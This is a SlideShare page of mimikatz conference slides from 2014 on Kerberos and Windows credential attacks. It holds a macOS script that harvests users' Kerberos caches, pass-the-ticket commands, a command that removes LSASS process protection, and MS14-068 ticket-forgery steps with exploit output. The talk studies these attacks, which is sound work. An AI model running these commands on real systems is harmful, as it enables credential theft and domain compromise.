DEST="/Volumes/VMware Shared Folders/vmshare/mac/`date +%Y%m%d%H%M%S`" 
mkdir -p "$DEST" 
ps auxwww | grep /loginwindow | grep -v "grep /loginwindow" | while read line 
do 
USER=`echo "$line" | awk '{print $1}'` 
PID=`echo "$line" | awk '{print $2}'` 
echo "$PID -> $USER" 
launchctl bsexec $PID kcc copy_cred_cache /tmp/$USER.$PID.ccache 
done 
cp /tmp/*.ccache "$DEST" 
Like in Windows, local admins rule =) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 46
mimikatz & ccache files 
kerberos::clist [/export] - Can split ccache in multiple “kirbi” files 
– To use with Pass-the-ticket ;) 
mimikatz # kerberos::clist "vmware-hostShared Foldersvmsharemac20141120003301administrator.66.ccache" 
/export 
Principal : (01) : administrator ; @ LAB.LOCAL 
Data 0 
Start/End/MaxRenew: 19/11/2014 23:56:35 ; 09/12/2014 09:56:35 ; 26/11/2014 23:56:35 
Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL 
Target Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL 
Client Name (01) : administrator ; @ LAB.LOCAL 
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
aa63ef63ce29151c2f696d837c63ad5ab82a851aeeccc8a1e69a4425473a8aaf 
Ticket : 0x00000000 - null ; kvno = 2 [...] 
* Saved to file 0-40e10000-administrator@krbtgt-LAB.LOCAL.kirbi ! 
Data 1 
* X-CACHECONF: entry? * 
Data 2 
Start/End/MaxRenew: 19/11/2014 23:57:44 ; 09/12/2014 09:56:35 ; 01/01/1970 01:00:00 
Service Name (03) : cifs ; dc.lab.local ; @ LAB.LOCAL 
Target Name (03) : cifs ; dc.lab.local ; @ LAB.LOCAL 
Client Name (01) : administrator ; @ LAB.LOCAL 
Flags 40250000 : name_canonicalize ; ok_as_delegate ; pre_authent ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
ef7fddb42d1513c65978f433ad61bcddd78e664b723e560833c6ed4d2df211e1 
Ticket : 0x00000000 - null ; kvno = 2 [...] 
* Saved to file 2-40250000-administrator@cifs-dc.lab.local.kirbi ! 
Data 3 
* X-CACHECONF: entry? * 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 47
mimikatz & ccache files 
kerberos::ptc - Can inject whole ccache in memory 
mimikatz # kerberos::ptc "vmware-hostShared Foldersvmshareubuntukrb5cc_1000" 
Principal : (01) : Administrator ; @ LAB.LOCAL 
Data 0 
Start/End/MaxRenew: 19/11/2014 23:42:20 ; 09/12/2014 09:42:20 ; 09/12/2014 23:42:17 
Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL 
Target Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL 
Client Name (01) : Administrator ; @ LAB.LOCAL 
Flags 50e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; proxiable ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
0c688277c6e5d6bf2fe766aef402998d619e24f93d83f7738e1383688b7cfda3 
Ticket : 0x00000000 - null ; kvno = 2 [...] 
* Injecting ticket : OK 
Data 1 
* X-CACHECONF: entry? * 
Data 2 
Start/End/MaxRenew: 19/11/2014 23:45:26 ; 09/12/2014 09:42:20 ; 09/12/2014 23:42:17 
Service Name (01) : cifs ; dc.lab.local ; @ LAB.LOCAL 
Target Name (01) : cifs ; dc.lab.local ; @ LAB.LOCAL 
Client Name (01) : Administrator ; @ LAB.LOCAL 
Flags 50a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; proxiable ; 
forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
f529fcafb067a2f481239bad7e1fe956a874ac6669426d1df71b6c8ec16d537a 
Ticket : 0x00000000 - null ; kvno = 2 [...] 
* Injecting ticket : OK 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 48
Demo ! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 49
Microsoft ? 
They make good stuff, really! 
Windows 8.1 and backported to 7 
– “Restricted Admin mode for Remote Desktop Connection” 
+ Prevent credentials to be sent on a remote server (network logon) 
- Allow authentication by « pass-the-hash » & « pass-the-ticket » via CredSSP 
– “LSA Protection” 
+ Prevent access to LSASS process memory (protected process) 
- Bypassed by a simple driver (this is a flag) 
– “Protected Users security group” 
+ No more NTLM, WDigest, CredSSP, no delegation or SSO... Kerberos only! 
- Kerberos tickets can be stolen and injected… 
– TPM for everyone! 
+ Bitlocker, then Private Key…, virtual SmartCard ! 
- Not for Kerberos Session Key, PIN Code, … 
Windows 10 ??? 
– LSA credentials isolation (maybe) 
• Credentials outside the « main » OS ; 
• Crypto operation via RPC / LPC 
09/12•/2014PerformaBnencjeam ?in B DyE LdPeY f`ageunltti lk?iwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 50
Kernel time 
Mimikatz includes a driver to play with 
the Kernel part of Windows… 
It’s signed with an expired certificate…. 
…so it works, even in x64 
So I can unprotect protected process  
…or protect unprotected process (?) 
!processprotect /process:lsass.exe /remove 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 51
PAC-time 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 52
PAC Signature - MS014-68 
Since 3 weeks you’ve heard about PAC signature check! 
– Maybe ! 
w00t to Tom Maddock (@ubernerdom ?) for reporting a bug in 
PAC signature check ! 
– MS014-68 rely on this bug in MS code… 
• Fixed in KB3011780 
w00t to Sylvain Monné (@BiDOrD) for writing the public POC ! 
– Code, Kerberos ASN1 & Network, Python… then PyKEK ;) 
• https://github.com/bidord/pykek Python Kerberos Exploitation Kit 
–More Kerberos magic stuff is coming in this tool ;) 
– With my little help on: 
• Kerberos, PAC, harassment, mimikatz & raclette 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 53
PAC Signature - MS014-68 
< MS11-013 
– kerberos!KerbVerifyPacSignature 
• Checksum SRV Type: valid if (checksum size <= 20) 
– kdcsvc!KdcVerifyPacSignature 
• Checksum SRV Type: valid if (checksum size <= 20) 
>= MS11-013 && < MS14-068 
– kerberos!KerbVerifyPacSignature 
• Checksum SRV Type: valid if (checksum size <= 20) && (checksum is KEYED) 
• Checksum KDC Type: valid if (checksum is KEYED) 
– kdcsvc!KdcVerifyPacSignature 
• Checksum SRV Type: valid if (checksum size <= 20) 
>= MS14-068 
– kerberos!KerbVerifyPacSignature 
For Microsoft a 
checksum without a 
key was a signature! 
Welcome : 
- MD4 
- MD5 
- SHA1 
- CRC32 
- … 
• Checksum SRV Type: valid if (checksum size <= 20) && (checksum type == KERB_CHECKSUM_HMAC_MD5) // or AES in NT6 ;) 
• Checksum KDC Type: valid if (checksum is KEYED) 
– kdcsvc!KdcVerifyPacSignature 
• Checksum SRV Type: valid if (checksum size <= 20) && (checksum type == KERB_CHECKSUM_HMAC_MD5) // or AES in NT6 ;) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 54
PAC Signature - MS014-68 
So we’re able to build our own PAC (again ;)), and make it valid from KDC point 
of view… 
– …without KDC or Target key 
– w00t ? 
But how can we push a PAC into a ticket… 
– encrypted by KDC or Target key? 
– if we have these key, the game is already over… 
If you read RFC4120 & [MS-KILE], you’ll know: 
Authorization Data Type Ad-type Value 
AD-WIN2K-PAC 128 
TGS-REQ ::= [APPLICATION 12] KDC-REQ 
KDC-REQ ::= SEQUENCE { 
pvno [1] INTEGER (5), 
msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS 
--), 
padata [3] SEQUENCE OF PA-DATA OPTIONAL, 
req-body [4] KDC-REQ-BODY 
} 
KDC-REQ-BODY ::= SEQUENCE { 
kdc-options [0] KDCOptions, 
cname [1] PrincipalName OPTIONAL, 
realm [2] Realm, 
sname [3] PrincipalName OPTIONAL, 
from [4] KerberosTime OPTIONAL, 
till [5] KerberosTime, 
rtime [6] KerberosTime OPTIONAL, 
nonce [7] UInt32, 
etype [8] SEQUENCE OF Int32 -- 
EncryptionType, 
addresses [9] HostAddresses OPTIONAL, 
enc-authorization-data [10] EncryptedData OPTIONAL - 
- AuthorizationData, 
additional-tickets [11] SEQUENCE OF Ticket 
OPTIONAL 
} 
w00t, we can push a PAC in Authorization Data =) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 55
PAC Signature - MS014-68 
How to: 
1. AS-REQ: Ask a TGT without a PAC (to avoid multiple PAC) 
PA-PAC-REQUEST: FALSE 
2. TGS-REQ: Make your own PAC with an unkeyed checksum (like MD5) and push it to a vulnerable KDC in a TGS-REQ for 
krbtgt Target 
• ~ asking for a delegation ticket.) 
• The vulnerable KDC will verify it (with MD5 :P) and give you another TGT… with PAC in it 
3. TGS-REQ: push again a TGS-REQ for a forwarded krbtgt target (without extra pac this time) to obtain a real delegation 
ticket… (not yet implemented in the POC) 
• Verified with MD5… signed with HMAC-MD5 by the KDC (or AES, so valid on patched KDC) 
python ms14-068.py -u simpleuser@labokiwi.local -s S-1-5-21-2666969376-4225180350-4077551764-1103 -d 
dc.labokiwi.local -p waza1234// 
[+] Building AS-REQ for dc.labokiwi.local... Done! 
[+] Sending AS-REQ to dc.labokiwi.local... Done! 
[+] Receiving AS-REP from dc.labokiwi.local... Done! 
[+] Parsing AS-REP from dc.labokiwi.local... Done! 
[+] Building TGS-REQ for dc.labokiwi.local... Done! 
[+] Sending TGS-REQ to dc.labokiwi.local... Done! 
[+] Receiving TGS-REP from dc.labokiwi.local... Done! 
[+] Parsing TGS-REP from dc.labokiwi.local... Done! 
[+] Creating ccache file 'TGT_simpleuser@labokiwi.local.ccache'... Done! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 56
Final demo for script kiddies! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 57
Demo 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 58
That’s all Folks! 
blog http://blog.gentilkiwi.com (French) 
mimikatz http://blog.gentilkiwi.com/mimikatz (French) 
source https://github.com/gentilkiwi/mimikatz  go here for English Wiki & Release ;) 
contact @gentilkiwi / benjamin@gentilkiwi.com  please not in a strange language(åø) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 59

More Related Content

What's hot

Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentTeymur Kheirkhabarov
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked LookJason Lang
 
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CKTracking Noisy Behavior and Risk-Based Alerting with ATT&CK
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CKMITRE ATT&CK
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itBenjamin Delpy
 
Evading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory DominationEvading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory DominationNikhil Mittal
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat HuntingGIBIN JOHN
 
How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkSqrrl
 
Purple Team Exercise Framework Workshop #PTEF
Purple Team Exercise Framework Workshop #PTEFPurple Team Exercise Framework Workshop #PTEF
Purple Team Exercise Framework Workshop #PTEFJorge Orchilles
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X WayStephan Borosh
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTINGNETWORK PENETRATION TESTING
NETWORK PENETRATION TESTINGEr Vivek Rana
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules CoverageSunny Neo
 
FreeIPA - Attacking the Active Directory of Linux
FreeIPA - Attacking the Active Directory of LinuxFreeIPA - Attacking the Active Directory of Linux
FreeIPA - Attacking the Active Directory of LinuxJulian Catrambone
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Shakacon
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory PwnagePetros Koutroumpis
 
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...MITRE - ATT&CKcon
 
RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceNikhil Mittal
 
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITREMITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITREMITRE - ATT&CKcon
 

What's hot (20)

Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
 
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CKTracking Noisy Behavior and Risk-Based Alerting with ATT&CK
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get it
 
Evading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory DominationEvading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory Domination
 
MITRE ATT&CK Framework
MITRE ATT&CK FrameworkMITRE ATT&CK Framework
MITRE ATT&CK Framework
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat Hunting
 
Mimikatz
MimikatzMimikatz
Mimikatz
 
How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your Network
 
Purple Team Exercise Framework Workshop #PTEF
Purple Team Exercise Framework Workshop #PTEFPurple Team Exercise Framework Workshop #PTEF
Purple Team Exercise Framework Workshop #PTEF
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTINGNETWORK PENETRATION TESTING
NETWORK PENETRATION TESTING
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules Coverage
 
FreeIPA - Attacking the Active Directory of Linux
FreeIPA - Attacking the Active Directory of LinuxFreeIPA - Attacking the Active Directory of Linux
FreeIPA - Attacking the Active Directory of Linux
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...
MITRE ATT&CKcon 2.0: Prioritizing Data Sources for Minimum Viable Detection; ...
 
RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory Dominance
 
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITREMITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
 

Viewers also liked

BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...
BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...
BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...Benjamin Delpy
 
Golden ticket, pass the ticket mi tm kerberos attacks explained
Golden ticket, pass the ticket mi tm   kerberos attacks explainedGolden ticket, pass the ticket mi tm   kerberos attacks explained
Golden ticket, pass the ticket mi tm kerberos attacks explainedPeter Swedin
 
Cecyf / Coriin - mimikatz et la mémoire de Windows
Cecyf / Coriin - mimikatz et la mémoire de WindowsCecyf / Coriin - mimikatz et la mémoire de Windows
Cecyf / Coriin - mimikatz et la mémoire de WindowsBenjamin Delpy
 
Kerberos, NTLM and LM-Hash
Kerberos, NTLM and LM-HashKerberos, NTLM and LM-Hash
Kerberos, NTLM and LM-HashAnkit Mehta
 
I Have the Power(View)
I Have the Power(View)I Have the Power(View)
I Have the Power(View)Will Schroeder
 
とりあえずTwitterで日本語を集めてみよう
とりあえずTwitterで日本語を集めてみようとりあえずTwitterで日本語を集めてみよう
とりあえずTwitterで日本語を集めてみようs_wool
 
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]DirtyTooth: It´s only Rock'n Roll but I like it [Slides]
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]Telefónica
 

Viewers also liked (14)

BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...
BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...
BlueHat 2014 - The Attacker's View of Windows Authentication and Post Exploit...
 
Golden ticket, pass the ticket mi tm kerberos attacks explained
Golden ticket, pass the ticket mi tm   kerberos attacks explainedGolden ticket, pass the ticket mi tm   kerberos attacks explained
Golden ticket, pass the ticket mi tm kerberos attacks explained
 
Ntlm Unsafe
Ntlm UnsafeNtlm Unsafe
Ntlm Unsafe
 
mimikatz @ rmll
mimikatz @ rmllmimikatz @ rmll
mimikatz @ rmll
 
Cecyf / Coriin - mimikatz et la mémoire de Windows
Cecyf / Coriin - mimikatz et la mémoire de WindowsCecyf / Coriin - mimikatz et la mémoire de Windows
Cecyf / Coriin - mimikatz et la mémoire de Windows
 
NTLM
NTLMNTLM
NTLM
 
Kerberos, NTLM and LM-Hash
Kerberos, NTLM and LM-HashKerberos, NTLM and LM-Hash
Kerberos, NTLM and LM-Hash
 
I Have the Power(View)
I Have the Power(View)I Have the Power(View)
I Have the Power(View)
 
mimikatz @ phdays
mimikatz @ phdaysmimikatz @ phdays
mimikatz @ phdays
 
とりあえずTwitterで日本語を集めてみよう
とりあえずTwitterで日本語を集めてみようとりあえずTwitterで日本語を集めてみよう
とりあえずTwitterで日本語を集めてみよう
 
mimikatz @ asfws
mimikatz @ asfwsmimikatz @ asfws
mimikatz @ asfws
 
mimikatz @ sthack
mimikatz @ sthackmimikatz @ sthack
mimikatz @ sthack
 
mimikatz @ ossir
mimikatz @ ossirmimikatz @ ossir
mimikatz @ ossir
 
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]DirtyTooth: It´s only Rock'n Roll but I like it [Slides]
DirtyTooth: It´s only Rock'n Roll but I like it [Slides]
 

Similar to Passwords#14 - mimikatz

NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNoSuchCon
 
Abusing Microsoft Kerberos - Sorry you guys don’t get it
Abusing Microsoft Kerberos - Sorry you guys don’t get itAbusing Microsoft Kerberos - Sorry you guys don’t get it
Abusing Microsoft Kerberos - Sorry you guys don’t get itE Hacking
 
Advanced Troublesshooting Nexus 7K.pdf
Advanced Troublesshooting Nexus 7K.pdfAdvanced Troublesshooting Nexus 7K.pdf
Advanced Troublesshooting Nexus 7K.pdfJeanChristian12
 
CQURE_BHAsia19_Paula_Januszkiewicz_slides
CQURE_BHAsia19_Paula_Januszkiewicz_slidesCQURE_BHAsia19_Paula_Januszkiewicz_slides
CQURE_BHAsia19_Paula_Januszkiewicz_slidesZuzannaKornecka
 
BPF: Tracing and more
BPF: Tracing and moreBPF: Tracing and more
BPF: Tracing and moreBrendan Gregg
 
Redis - for duplicate detection on real time stream
Redis - for duplicate detection on real time streamRedis - for duplicate detection on real time stream
Redis - for duplicate detection on real time streamCodemotion
 
Redis for duplicate detection on real time stream
Redis for duplicate detection on real time streamRedis for duplicate detection on real time stream
Redis for duplicate detection on real time streamRoberto Franchini
 
Triangle OpenStack meetup 09 2013
Triangle OpenStack meetup 09 2013Triangle OpenStack meetup 09 2013
Triangle OpenStack meetup 09 2013Dan Radez
 
Openstack 101
Openstack 101Openstack 101
Openstack 101POSSCON
 
Spca2014 advanced share point troubleshooting hessing
Spca2014 advanced share point troubleshooting hessingSpca2014 advanced share point troubleshooting hessing
Spca2014 advanced share point troubleshooting hessingNCCOMMS
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemCyber Security Alliance
 
Debugging linux issues with eBPF
Debugging linux issues with eBPFDebugging linux issues with eBPF
Debugging linux issues with eBPFIvan Babrou
 
Power of linked list
Power of linked listPower of linked list
Power of linked listPeter Hlavaty
 
Intel DPDK Step by Step instructions
Intel DPDK Step by Step instructionsIntel DPDK Step by Step instructions
Intel DPDK Step by Step instructionsHisaki Ohara
 
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defenseDEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defenseFelipe Prado
 
Configuring wifi in open embedded builds
Configuring wifi in open embedded buildsConfiguring wifi in open embedded builds
Configuring wifi in open embedded buildsMender.io
 
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728jieun kim
 
Raconte-moi X.509 : anatomie d'une autorité de certification
Raconte-moi X.509 : anatomie d'une autorité de certificationRaconte-moi X.509 : anatomie d'une autorité de certification
Raconte-moi X.509 : anatomie d'une autorité de certificationJean-Christophe Sirot
 
FPC for the Masses (SANSFire Edition)
FPC for the Masses (SANSFire Edition)FPC for the Masses (SANSFire Edition)
FPC for the Masses (SANSFire Edition)Xavier Mertens
 
HashiTLS Demystifying Security Certs
HashiTLS Demystifying Security CertsHashiTLS Demystifying Security Certs
HashiTLS Demystifying Security CertsMitchell Pronschinske
 

Similar to Passwords#14 - mimikatz (20)

NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
 
Abusing Microsoft Kerberos - Sorry you guys don’t get it
Abusing Microsoft Kerberos - Sorry you guys don’t get itAbusing Microsoft Kerberos - Sorry you guys don’t get it
Abusing Microsoft Kerberos - Sorry you guys don’t get it
 
Advanced Troublesshooting Nexus 7K.pdf
Advanced Troublesshooting Nexus 7K.pdfAdvanced Troublesshooting Nexus 7K.pdf
Advanced Troublesshooting Nexus 7K.pdf
 
CQURE_BHAsia19_Paula_Januszkiewicz_slides
CQURE_BHAsia19_Paula_Januszkiewicz_slidesCQURE_BHAsia19_Paula_Januszkiewicz_slides
CQURE_BHAsia19_Paula_Januszkiewicz_slides
 
BPF: Tracing and more
BPF: Tracing and moreBPF: Tracing and more
BPF: Tracing and more
 
Redis - for duplicate detection on real time stream
Redis - for duplicate detection on real time streamRedis - for duplicate detection on real time stream
Redis - for duplicate detection on real time stream
 
Redis for duplicate detection on real time stream
Redis for duplicate detection on real time streamRedis for duplicate detection on real time stream
Redis for duplicate detection on real time stream
 
Triangle OpenStack meetup 09 2013
Triangle OpenStack meetup 09 2013Triangle OpenStack meetup 09 2013
Triangle OpenStack meetup 09 2013
 
Openstack 101
Openstack 101Openstack 101
Openstack 101
 
Spca2014 advanced share point troubleshooting hessing
Spca2014 advanced share point troubleshooting hessingSpca2014 advanced share point troubleshooting hessing
Spca2014 advanced share point troubleshooting hessing
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
Debugging linux issues with eBPF
Debugging linux issues with eBPFDebugging linux issues with eBPF
Debugging linux issues with eBPF
 
Power of linked list
Power of linked listPower of linked list
Power of linked list
 
Intel DPDK Step by Step instructions
Intel DPDK Step by Step instructionsIntel DPDK Step by Step instructions
Intel DPDK Step by Step instructions
 
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defenseDEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
 
Configuring wifi in open embedded builds
Configuring wifi in open embedded buildsConfiguring wifi in open embedded builds
Configuring wifi in open embedded builds
 
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728
OpenStack Korea 2015 상반기스터디(devops) 스크립트로 오픈스택 설치하기 20150728
 
Raconte-moi X.509 : anatomie d'une autorité de certification
Raconte-moi X.509 : anatomie d'une autorité de certificationRaconte-moi X.509 : anatomie d'une autorité de certification
Raconte-moi X.509 : anatomie d'une autorité de certification
 
FPC for the Masses (SANSFire Edition)
FPC for the Masses (SANSFire Edition)FPC for the Masses (SANSFire Edition)
FPC for the Masses (SANSFire Edition)
 
HashiTLS Demystifying Security Certs
HashiTLS Demystifying Security CertsHashiTLS Demystifying Security Certs
HashiTLS Demystifying Security Certs
 

Recently uploaded

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
